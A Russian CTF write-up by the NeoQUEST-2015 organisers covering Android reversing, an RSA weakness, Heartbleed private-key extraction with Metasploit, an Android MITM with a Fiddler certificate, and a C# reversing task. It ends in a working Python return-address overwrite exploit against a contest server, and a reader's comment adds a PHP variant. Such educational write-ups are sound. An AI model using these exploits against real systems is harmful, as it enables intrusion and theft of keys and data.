NeoQUEST-2015: HeartBleed, Android и немного реверса

    Привет, Хабр! Близится лето, а вместе с ним — «очная ставка» NeoQUEST-2015. Регистрация на мероприятие уже открыта, и вход — бесплатный. Гостей ждут доклады и мастерклассы по кибербезопасности, конкурсы, подарки и многое другое! Все это — уже в июле, а мы продолжаем разбор заданий online-этапа NeoQUEST-2015. В этой статье:
    • «Mystic Square» — «пятнашки» на Android и атака на криптосистему RSA
    • «Масон-connect» — анализ дампа сетевого трафика с последующей реализацией уязвимости HeartBleed
    • «raSSLedovanie» — Man-in-the-Middle атака на Android
    • «Дружба и братство» — реверс приложения на C#


    1. «Mystic Square» — «пятнашки» на Android


    Собираем «пятнашки»

    Итак, изначально мы имеем файл game.apk, понятно, что это ни что иное, как приложение для Android.

    Сначала стоит его запустить – и мы видим, что это простая детская игра «пятнашки». Неужели нужно собрать картинку, чтобы пройти задание на ctf? Именно так! Собрать картинку можно либо в самом приложении, либо вытащив картинки из ресурсов приложения (директории res/drawable) и сложив паpзл в графическом редакторе. Собрали картинку и получили какую-то строку «10838670582455823456841»:

    Реверс Android-приложения

    Что делать дальше? Первая мысль — отреверсить Android-приложение. Вытаскиваем из приложения файл classes.dex, это байт-код программы, используемой в Android. Затем при помощи утилиты dex2jar получаем файл classes.dex.dex2jar.jar, который удобно смотреть при помощи программы jd-gui.

    Входная точка – класс MyActivity:

    public boolean onKeyDown(int paramInt, KeyEvent paramKeyEvent)
      {
        switch (paramInt)
        {
        default:
          return super.onKeyDown(paramInt, paramKeyEvent);
        case 82:
        }
        startActivity(new Intent(this, InputOne.class));
        return true;
      }
    


    Видно, что при нажатии на кнопку идет вызов InputOne. Посмотрим, что за класс InputOne:

    public class InputOne extends Activity
    {
      protected void onCreate(Bundle paramBundle)
      {
        super.onCreate(paramBundle);
        setContentView(2130903041);
        EditText localEditText = (EditText)findViewById(2131034112);
        ((Button)findViewById(2131034113)).setOnClickListener(new View.OnClickListener(localEditText)
        {
          public void onClick(View paramView)
          {
            String str1 = this.val$editText.getText().toString();
            if (new File("/sdcard/key.txt").exists())
            {
              String str2 = Simple.Decrypt(str1);
              Toast.makeText(InputOne.this.getBaseContext(), str2, 1).show();
              return;
            }
            try
            {
              Simple.get(str1);
              return;
            }
            catch (IOException localIOException)
            {
              localIOException.printStackTrace();
            }
          }
        });
      }
    }
    


    В данном классе берется строка, введенная в поле ввода, проверяется наличие файла «/sdcard/key.txt». Если он есть, вызывается метод Decrypt класса Simple, если его нет, вызывается метод get того же класса. В каждый из этих методов передается введенная в поле ввода строка.
    Файла такого у нас нет – смотрим метод get.

    public static void get(String paramString)
        throws IOException
      {
        QueryString localQueryString = new QueryString().add("message", paramString);
        if (localQueryString == null)
          Log.e("Info", "NULL");
        for (URLConnection localURLConnection = new URL("http://79.175.2.83/0b32bd28a8632f9895f9d5d8a6c51dad/game.php").openConnection(); ; localURLConnection = new URL("http://79.175.2.83/0b32bd28a8632f9895f9d5d8a6c51dad/game.php?" + localQueryString).openConnection())
        {
          localURLConnection.getInputStream();
          String str = readStreamToString(localURLConnection.getInputStream(), "UTF-8");
          Log.e("Info", str);
          if (!str.equals("Error"))
          {
            FileWriter localFileWriter = new FileWriter(new File("/sdcard/key.txt"));
            localFileWriter.write(str);
            localFileWriter.close();
          }
          return;
        }
      }
    


    Данный метод формирует GET-запрос вида «http://79.175.2.83/0b32bd28a8632f9895f9d5d8a6c51dad/game.php?message=’введенная строка’», а результат, если это не «Error», сохраняет в файл «/sdcard/key.txt».

    Теперь необходимо ввести полученный из игры код в приложение, и оно скачает файл key.txt на карту памяти устройства. Файл имеет следующий вид:

    5890287499022904927250918089905639153507
    3148792732424313619076650032785631134
    key=a0bf0f01485a59addf4f9374e7c2a7b5

    «Внимание — криптография!»

    Первый ключ добыт, теперь задание на внимательность и немного криптографии. У нас остался неизведанным метод Decrypt класса Simple, вызов его происходит, если заполнить ту самую строку ввода при наличии файла «/sdcard/key.txt». Но для начала разберемся, что там происходит.

      public static String Decrypt(String paramString)
      {
        ArrayList localArrayList = new ArrayList();
        try
        {
          Scanner localScanner = new Scanner(new File("/sdcard/key.txt"));
          while (localScanner.hasNextLine())
            localArrayList.add(localScanner.nextLine());
        }
        catch (FileNotFoundException localFileNotFoundException)
        {
          return "0";
        }
        BigInteger localBigInteger = new BigInteger((String)localArrayList.get(0));
        if (new BigInteger((String)localArrayList.get(1)).modPow(e, n).equals(localBigInteger))
        {
          new File("/sdcard/key.txt").delete();
          return localBigInteger.modPow(new BigInteger(paramString), n).toString(16);
        }
        return "0";
      }
    


    Итак, перед нами обычный RSA, мы знаем открытый ключ (e,n), сразу возникает желание найти d, ввести его в строку ввода и получить ключ, так и есть, но внимательность превыше всего. Давайте посмотрим, что тут происходит.

    Пусть первая строка нашего файла это sign, а вторая mes. В программе проверяется, что mes ≡ signe(mod n), после этого вычисляется mesd(mod n). А теперь подумаем, что это такое. Был у нас ключ key, его зашифровали с помощью d и получили mes ≡ keyd(mod n), а потом подписали mes ≡ signe(mod n) и все это записали в файл. Немного внимательности и мы видим, что key ≡ sign(mod n), а значит, ключом является вторая строка в файле, а именно, «3148792732424313619076650032785631134 = 0х025e6f77c39943f83d1d2f8770a1a79». А теперь второй тест на внимательность: все ключи – 128-битные хеш-значения, значит, ключом является 025e6f77c39943f83d1d2f8770a1a79, и только так!

    Вариант прохождения для менее внимательных – разложить n на множители 8286006298514071265735892332006920710569 = 81227239281928373027*102010192292200202947, посчитать функцию Эйлера от n:

    φ(n) = (81227239281928373027-1)*(102010192292200202947-1)= 8286006298514071265552654900432792134596

    Осталось только посчитать d, как мультипликативно обратное к e по модулю n: d = 4708825181381486710928551540092728302699. Вводим d в строку ввода приложение и получаем 25e6f77c39943f83d1d2f8770a1a79, дописываем первый 0 и получаем ключ – 025e6f77c39943f83d1d2f8770a1a79.

    Таким образом, участникам необходимо было собрать картинку в игре «Пятнашки», немного пореверсить приложение, ввести ключ в найденную строку ввода и либо найти ошибку в реализации схемы RSA (будучи очень внимательными!), либо провести атаку разложения модуля. Кстати, посмотреть, как участники квеста проходили данное задание, можно здесь и тут (по второй ссылке находится достаточно большой обзор нескольких заданий NeoQUEST-2015).

    2. «Масон-connect» — реализуем HeartBleed

    По заданию, участнику Neoquest`а выдается файл сетевого дампа. Открыв его, например, в Wireshark мы увидим следующие пакеты:



    Из данного дампа мы видим, что здесь собран https трафик между двумя узлами, клиент осуществляет соединение с сервером с IP-адресом 79.175.2.84 и используется стандартный порт 443. Пытаемся зайти на это сервер и получаем следующий ответ:

    Sorry, we don't know you

    Следующим шагом логично было бы провести сканирование данного сервера, с целью поиска уязвимостей. А вдруг нам повезет, и мы найдем какую-нибудь лазейку! Вспомнив про 443 порт, проверим первым делом наш сервер на наличие известной уязвимости SSL Heartbleed. Для этого можем использовать соответствующий скрипт из Nmap Scripting Engine:



    Удача! Мы действительно нашли известную уязвимость в SSL — HeartBleed.
    Для нас самое важное, что, проэксплуатировав ее, мы сможем получить секретный ключ сервера и расшифровать наш дамп. Сказано — сделано! Берем Metasploit, запускаем скрипт openssl_heartbleed — и такими нехитрыми движениями получаем наш секретный ключ:



    Первый шаг сделан, получив ключ, мы можем расшифровать трафик и получить больше информации из него. Вернемся к Wireshark`у и загрузим наш ключ для расшифровывания трафика. После расшифрования мы получим следующее:



    В расшифрованном дампе нас прежде всего интересует GET-запрос. Мы видим, что там передаются Cookie: id и hash. Видимо, они и используются для аутентификации.



    Также привлекает внимание необычный User-Agent: “GRAND LODGE”. Отправив пакет с такими же cookies и User-Agent, мы получим следующий ответ:



    Перейдя по ссылке, находим наш искомый ключ!

    3. «raSSLedovanie» — Man-in-the-Middle атака на Android

    Скачиваем из задания APK-файл ssviewer.apk и устанавливаем на эмулятор Android. Запустив приложение, видим интерфейс:



    Нажимаем на кнопку:



    Сообщение «200 ok» подсказывает о сетевом взаимодействии приложения с каким-то сервером. Попробуем посмотреть сниффером (например, возьмем Fiddler). Видим обращение к db765.ru. Попытаемся провести MITM-атаку.
    Настроим Fiddler и экспортируем его корневой сертификат:



    После этого, добавим сертификат в Android к доверенным. Установим прокси для прослушивания трафика в Fiddler.



    Снова запускаем приложение и ловим ответ сервера в сниффере.



    В ответе видим base64. Распаковываем и получаем zip-архив, в котором находится картинка с ответом «SSLK3YDB765»!

    Как показала практика, с данным заданием справилось большое количество участников, а наш победитель — n0n3m4 даже написал write-up с интригующим названием «NeoQUEST 2015: как решить raSSLedovanie за 13 минут».

    4. «Дружба и братство» — реверс приложения на C#

    Все, что было дано участникам — это два файла: login.exe и файл формата .so. После запуска login.exe приложение просит ввести логин:



    Часть первая

    Возьмем .NET Reflector и декомпилируем его. После недолгих поисков найдем вот такой код:

    private void textBox1_TextChanged(object sender, EventArgs e)
    {
        string text = this.textBox1.Text;
        if (text.Length == 0)
        {
            this.label1.Text = "Enter you login";
        }
        else if (!this.hashes.Contains<string>(this.GetHashString(text)))
        {
            this.label1.Text = "Incorrect login!";
        }
        else if (text.Length == 0x20)
        {
            this.label1.Text = "You have successfully logged in!";
            this.groupBox1.Enabled = false;
            this.tcpSocket = new TcpClient(this.host, this.port);
            this.groupBox2.Visible = true;
            this.timer1.Start();
        }
        else
        {
            this.label1.Text = "Enter next character of your login";
        }
    }
    


    Нас интересует строка:

    else if (!this.hashes.Contains<string>(this.GetHashString(text)))
    


    Код проверяет массив hashes на наличие хеша от введенного текущего логина.
    Функция получения хеша:

    private string GetHashString(string s)
    {
        byte[] bytes = Encoding.ASCII.GetBytes(s);
        byte[] buffer2 = new MD5CryptoServiceProvider().ComputeHash(bytes);
        string str = string.Empty;
        foreach (byte num in buffer2)
        {
            str = str + string.Format("{0:x2}", num);
        }
        return str;
    }
    


    Массив hashes:

    this.hashes = new string[] {
    "dfa7b3505d612417911b86b89f869d6c", "73b6951965fda60be0c69da1411e59af", "4ad9eab6a9bd83eec4723d05444059e2", "4f60dca64aedd943e4fccb8bbf18e25c", "9ed2ac984ed7182a4974a4bab0ad8fcd", "826fc5d7998c16eeb77abc00702a00ab", "4ec559ee5a6249f0c69ab8ff9b804072", "0eebdd1e6d919d04cdee9646607786c3", "172cfbcb9d8de7425233fd7183f43c21", "7174ce70d0702083e26d285196d36cf2", "77526663ec282d1d1f62229ab980edd5", "c7f399fb9f981ba2445ba573ec668cef", "efa9d9d29367af2b3c1cc1494f882f2d", "01e5f7d323222fd161fcbd0b32f26b2b", "83daec0d569704618ecf60d19b031082", "a2c2c74263df7545cb857b69ce5820b2", 
    "ac13be701bc79036602ae9f355e6c389", "d33bf0c58b48508c706d32c6e8a171d4", "138378fc00ad7d559f0418019e750b19", "39eb98f5edec84e35f52feff51c94a25", "3ff5db4ebc8437f338ce978fddcfb334", "e1cd7a2a000a2fe69f909a2e46dab073", "bf80eafce6f8d51220dd6603295852d5", "f8bc2fbe2c937ea5b5e8839cbea69491", "e8bb39c756ad2b46a80b3f07c8422037", "a3d4832c6cc0b51163e04301e6a17b55", "bc7a6cff6c8507488e186d378ec12b38", "deaeb78d2c64a16cecd1a718e226db52", "c81e728d9d4c2f636f067f89cc14862c", "7742638106aea26564f3f6fa02fe1265", "7c8104aa5e88bee40658c61c5f869284", "71e157ffdf45f4946e95d0ac115466a1"
    };
    


    Программа подбора логина на Python 3 может выглядеть следующим образом:

    import hashlib
    
    hashes = (
    	'dfa7b3505d612417911b86b89f869d6c', '73b6951965fda60be0c69da1411e59af',
    	'4ad9eab6a9bd83eec4723d05444059e2', '4f60dca64aedd943e4fccb8bbf18e25c',
    	'9ed2ac984ed7182a4974a4bab0ad8fcd', '826fc5d7998c16eeb77abc00702a00ab',
    	'4ec559ee5a6249f0c69ab8ff9b804072', '0eebdd1e6d919d04cdee9646607786c3',
    	'172cfbcb9d8de7425233fd7183f43c21', '7174ce70d0702083e26d285196d36cf2',
    	'77526663ec282d1d1f62229ab980edd5', 'c7f399fb9f981ba2445ba573ec668cef',
    	'efa9d9d29367af2b3c1cc1494f882f2d', '01e5f7d323222fd161fcbd0b32f26b2b',
    	'83daec0d569704618ecf60d19b031082', 'a2c2c74263df7545cb857b69ce5820b2',
    	'ac13be701bc79036602ae9f355e6c389', 'd33bf0c58b48508c706d32c6e8a171d4',
    	'138378fc00ad7d559f0418019e750b19', '39eb98f5edec84e35f52feff51c94a25',
    	'3ff5db4ebc8437f338ce978fddcfb334', 'e1cd7a2a000a2fe69f909a2e46dab073',
    	'bf80eafce6f8d51220dd6603295852d5', 'f8bc2fbe2c937ea5b5e8839cbea69491',
    	'e8bb39c756ad2b46a80b3f07c8422037', 'a3d4832c6cc0b51163e04301e6a17b55',
    	'bc7a6cff6c8507488e186d378ec12b38', 'deaeb78d2c64a16cecd1a718e226db52',
    	'c81e728d9d4c2f636f067f89cc14862c', '7742638106aea26564f3f6fa02fe1265',
    	'7c8104aa5e88bee40658c61c5f869284', '71e157ffdf45f4946e95d0ac115466a1'
    )
    
    login = ''
    chars = 'abcdef1234567890'
    
    for i in range(32):
    	for j in range(len(chars)):
    		hash = hashlib.md5((login + chars[j]).encode('utf-8')).hexdigest()
    		if hash in hashes:
    			login += chars[j]
    
    print(login)
    


    В результате она выведет на экран ключ: 2b638b6da52bfad2d99dbab4018237df.

    Часть вторая

    После удачного подбора ключа в первой части (Приложение C#), для нас открывается консоль telnet, с предложением ввести пароль. Также нам понадобится библиотека libtest.so.



    Намного удобнее использовать Putty (IP и порт смотрим в .NET Reflector)

    this.host = "79.175.2.85";
    this.port = 0x1f90;
    


    Дизассемблируем libtest.so. Первой бросается в глаза функция StartTest.

    public StartTest
    StartTest proc near
    
    s2= byte ptr -20h
    
    push    rbp
    mov     rbp, rsp
    sub     rsp, 20h
    lea     rdi, aHello     ; "\nHello!\n"
    call    _puts
    mov     rax, cs:pGetFlag_ptr
    mov     rdx, cs:GetFlag_ptr
    mov     [rax], rdx
    lea     rsi, modes      ; "r"
    lea     rdi, aHomeSrvPass_tx ; "/home/srv/pass.txt"
    call    _fopen
    …
    


    Код читает файл /home/srv/pass.txt и сравнивает со строкой введенной пользователем. Если пароли совпадают то на экран выводится текст из файла /home/srv/flag2.txt. В любом другом случаем цикл проверки повторяется.

    loc_DD4:                ; seconds
    mov     edi, 1
    call    _sleep
    lea     rax, [rbp+s2]
    lea     rdx, [rbp+s2]
    add     rdx, 10h
    mov     rsi, rax        ; s2
    mov     rdi, rdx        ; s1
    call    _strcmp
    test    eax, eax
    jnz     short loc_D7A
    


    Очевидно, что при введении пользователем пароля длиной более 16 символов перезапишется стековая переменная с паролем, прочитанным из файла:

    mov     rax, cs:stdin_ptr
    mov     rdx, [rax]      ; stream
    lea     rax, [rbp+s2]
    mov     esi, 64h        ; n
    mov     rdi, rax        ; s
    call    _fgets
    


    Оригинальная структура на С:

    struct info {
    	char entered_pass[16];
    	char correct_pass[16];
    };
    


    Для получения флага достаточно ввести при первом запросе «aaaaaaaaaaaaaaaaa» (17 символов) и 1 перезаписанный символ при втором:



    Второй флаг: 3ed54ac12757f4c2b4fabd64d41de42d

    Часть третья

    Для получения третьего ключа вернемся к листингу libtest.so.
    Подозрительной кажется функция GetFlag:

    public GetFlag
    GetFlag proc near
    
    s= byte ptr -70h
    stream= qword ptr -8
    
    push    rbp
    mov     rbp, rsp
    sub     rsp, 70h
    lea     rsi, modes      ; "r"
    lea     rdi, filename   ; "/home/srv/flag3.txt"
    call    _fopen
    …
    


    Код читает файл «/home/srv/flag3.txt» и выводит на экран. Но функция ни где не вызывается!
    Из второй части мы знаем, что приложение уязвимо для переполнения стека. Попробуем написать shellcode для вызова функции GetFlag.

    Заполним entered_pass:

    \x61\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
    


    Заполним correct_pass:

    \x61\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
    


    Далее нужно перезаписать адрес возврата так, чтобы выполнилась функция GetFlag.
    Для того, чтобы определить адрес функции GetFlag, потребуется вывод backtrace, который присутствует как подсказка, если ввести пароль длиной более 16 символов.

    Итак, из backtrace можно узнать адрес StartTest, и уже относительно этой функции рассчитать адрес GetFlag. Так как адреса меняются при каждом запуске, нужно на лету получать адрес StartTest и рассчитывать адрес GetFlag.

    Код получения флага на Python 2.7, может выглядеть так:

    import telnetlib
    import re
    
    tn = telnetlib.Telnet('79.175.2.85', 8080)
    
    read = tn.read_until(b"password: ").decode()
    print(read)
    
    tn.write(b'aaaaaaaaaaaaaaaaa\r\n')
    
    read = tn.read_until(b"password: ").decode()
    print(read)
    
    p = re.compile(r'\(StartTest\+0xd0\) \[(.+?)\]', re.MULTILINE | re.DOTALL)
    m = p.search(read)
    
    addr = (hex(int(m.group(1), 16) - 208 - 271))[2:]
    
    raddr = ''
    
    raddr += addr[10];
    raddr += addr[11];
    raddr += addr[8];
    raddr += addr[9];
    raddr += addr[6];
    raddr += addr[7];
    raddr += addr[4];
    raddr += addr[5];
    raddr += addr[2];
    raddr += addr[3];
    raddr += addr[0];
    raddr += addr[1];
    
    raddr = raddr.decode('hex')
    
    tn.write(b'\x61\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x61\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' + raddr + '\x00\x00\n')
    
    read = tn.read_until(b"password: ").decode()
    
    print("")
    print(read)
    




    Третий флаг: 1946fcc08e026023fd53f935769c7f52

    To be continued...

    Дальше — больше! Впереди — разбор остальных заданий NeoQUEST-2015, после которых мы уже начнем приоткрывать завесу тайны над тем, что же ждет гостей на июльской «очной ставке»!
    НеоБИТ
    85,00
    Компания
    Поделиться публикацией

    Комментарии 3

      +2
      Вот это у меня был провал с RSA, сразу было видно что это процесс подписи RSA, особенно в dex-ассемблере.
      Но я упорно вбивал 25e6f77c39943f83d1d2f8770a1a79, а не 025e6f77c39943f83d1d2f8770a1a79.
      Ужас.

      raSSLedovanie, имхо, было проще расковырять. Насколько я помню, строки там шифровались, но как-то тупо, и простой IDA script в 5 строчек всё показывал.

      Еще жаль что не дожал SSL-дамп. HeartBleed очевиден был, но вот какой-то левый Pyhton-скрипт не смог мне сдампить private key, хотя и обещал. Metasplot'а не стояло.
        +1
        Кстати, скрипт для «Дружба и братство» на PHP:
        PHP говнокод!
        <?php
        
        $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
        $result = socket_connect($socket, '79.175.2.85', 8080);
        
        $out = '';
        
        function read($socket)
        {
            $step = 0;
            $buf = '';
            while ($out = socket_read($socket, 2048))
            {
                $buf .= $out;
                echo $out;
                if (strpos($buf, 'password') !== false)
                {
                    if ($step == 0)
                    {
                        $in = str_repeat(1, 30) . "\n";
                        $step++;
                    } elseif ($step == 1)
                    {
                        preg_match('/\/home\/srv\/libtest.so\(StartTest\+0xd0\) \[0x([a-zA-Z0-9]+)\]/', $buf, $matches);
                        $address = $matches[1];
                        echo "Address: $address\n";
        
                        // 7eff4c9d4dd4
                        $newAddress = '0000' . substr($address, 0, strlen($address) - 3) . 'bf5';
                        echo "New address: $newAddress\n";
        
                        // 32 buffer + 8 byte rbp + new return
                        $in = str_repeat(1, 40) . strrev(pack('H*', $newAddress)) . "\n";
                        $step++;
                    } elseif ($step == 2)
                    {
                        $in = str_repeat(1, 30) . "\n";
                        $step++;
                    } else
                        $in = str_repeat(1, 14) . "\n";
                    echo "Send $in";
                    socket_write($socket, $in, strlen($in));
                    $buf = '';
                }
            }
            return $buf;
        }
        
        read($socket);
        
        socket_close($socket);
        

          +1
          Да, в ловушку с ноликом в RSA многие попались! :)

        Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

        Самое читаемое